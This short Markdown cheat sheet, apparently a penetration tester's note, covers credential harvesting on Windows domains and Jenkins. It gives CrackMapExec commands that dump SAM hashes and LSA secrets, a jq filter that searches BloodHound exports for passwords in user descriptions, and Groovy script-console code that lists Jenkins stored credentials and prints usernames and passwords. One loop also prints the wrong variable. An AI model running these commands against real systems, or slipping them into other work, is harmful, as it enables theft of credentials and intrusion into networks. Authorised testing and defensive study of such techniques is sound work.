43 lines
1.4 KiB
Markdown
43 lines
1.4 KiB
Markdown
- CrackMapExec
|
||
- `cme smb <target> –u ValidUser –p ValidPass --sam`
|
||
- Dumps the SAM file - local users only (not domain)
|
||
- `cme smb <target> –u ValidUser –p ValidPass --lsa`
|
||
- Dump LSA secrets from the registry - includes Domain Cached Credentials
|
||
- Checking BloodHound data for credentials in user descriptions
|
||
- `cat <bloodhound_user_json_file> | jq '.data[].Properties | select(.enabled == true) | .name + " " + .description'`
|
||
- Extracting Jenkins credentials from script console
|
||
```Groovy
|
||
/* All Credentials */
|
||
import jenkins.*
|
||
import jenkins.model.*
|
||
import hudson.*
|
||
import hudson.model.*
|
||
def jenkinsCredentials = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
|
||
com.cloudbees.plugins.credentials.Credentials.class,
|
||
Jenkins.instance,
|
||
null,
|
||
null
|
||
);
|
||
for (creds in jenkinsCredentials) {
|
||
println(jenkinsCredentials.id)
|
||
}
|
||
|
||
/* Specific Credentials */
|
||
import jenkins.*
|
||
import jenkins.model.*
|
||
import hudson.*
|
||
import hudson.model.*
|
||
def jenkinsCredentials = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
|
||
com.cloudbees.plugins.credentials.Credentials.class,
|
||
Jenkins.instance,
|
||
null,
|
||
null
|
||
);
|
||
for (creds in jenkinsCredentials) {
|
||
if(creds.id == "<credential_id>"){
|
||
println(creds.<variable_name_suchas_username>)
|
||
println(creds.<variable_name_suchas_password>)
|
||
}
|
||
}
|
||
```
|